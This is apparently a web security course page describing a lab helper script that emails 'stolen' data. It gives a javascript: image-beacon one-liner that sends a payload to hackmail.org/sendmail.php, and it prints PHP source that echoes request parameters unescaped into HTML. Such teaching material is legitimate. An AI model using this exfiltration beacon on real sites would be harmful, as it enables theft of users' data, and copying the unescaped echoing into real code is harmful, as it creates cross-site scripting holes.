WebSec Email Script

You can use this server side script to send automated emails from client-side JavaScript. For example, clicking this client-side hyperlink will cause an email to be sent to your user account inside the Boxes 2/X VM.

```
javascript:void((new Image()).src='http://hackmail.org/sendmail.php?' +
'&username=your username' + '&payload=xyz' + '&random=' + Math.random());
```

The random argument is ignored, but ensures that the browser bypasses its cache when downloading the image. We suggest that you use the random argument in your scripts as well. Newlines are not allowed in `javascript:` links; if this bothers you, try URL encoding. The `void(...);` construct prevents the browser from navigating to a new page consisting of the contents of the expression (which is what it normally does when it encounters a non-void expression like `javascript:2+2`).

Test form

If you just want to try out the script, you can use this form. (For the programming project, you'll probably want to use the JavaScript image technique shown above.)

Username: your username
(username of a group member)
Payload: xyz *(the information you stole)*
Send Email

Source code

In case you are curious, here is the source code of this page.

```
<?php
  $username = $_GET['username'] ? $_GET['username'] : "your username";
  $payload = $_GET['payload'] ? $_GET['payload'] : "xyz";
?><HTML>
<HEAD>
</HEAD>
<BODY>
<h1>WebSec Email Script</h1>
<p>You can use this server side script to send automated
emails from client-side JavaScript. For example, clicking this
client-side hyperlink will cause an email to be sent to your user
account inside the Boxes 2/X VM.</p>
    <blockquote><tt><?php
```

```
    $link = "javascript:void((new" .
            " Image()).src=" .
            "'http://hackmail.org/sendmail.php?'" .
            " + '&username=$username'" .
            " + '&payload=$payload' + '&random='" .
            " + Math.random());";
    echo "<a href=\"$link\">$link</a>";
    ?></tt></blockquote>
    <p>The random argument is ignored, but ensures that the browser
bypasses its cache when downloading the image.  We suggest that you use
the random argument in your scripts as well.  Newlines are not allowed
in <tt>javascript:</tt> links; if this bothers you, try
<a href="http://scriptasylum.com/tutorials/encdec/encode-decode.html">URL encoding</a>.
The <code>void(...);</code> construct prevents the browser from
navigating to a new page consisting of the contents
of the expression (which is what it normally does when it encounters a
non-void expression like <code><a href="javascript:2+2">javascript:2+2</a></code>). </p>
<h2>Test form</h2>
<p>If you just want to try out the script, you can use this form.
      (For the programming project, you'll probably
want to use the JavaScript image technique shown above.)</p>
<form method=get>
<div>
<div>
<b>Username:</b>
<input name=username value="<?php echo $username; ?>" size=40>
<i>(username of a group member)</i>
</div>
<div>
<b>Payload:</b>
<input name=payload value="<?php echo $payload; ?>" size=40>
<i>(the information you stole)</i>
</div>
<div>
<input type=submit value="Send Email" name="send_submit">
<?php
  if($_REQUEST['username']) {
    $to = "user@localhost";
    $subject = "Message from group '$username'";
    $message = "Payload:\n\n$payload";
    mail($to, $subject, $message);
    echo "<em>Sent!</em>";
  }
?>
</div>
<h2>Source code</h2>
<p>In case you are curious, here is the source code of this page.</p>
<pre><?php echo htmlspecialchars(file_get_contents(__FILE__)); ?></pre>
</form>
</BODY>
```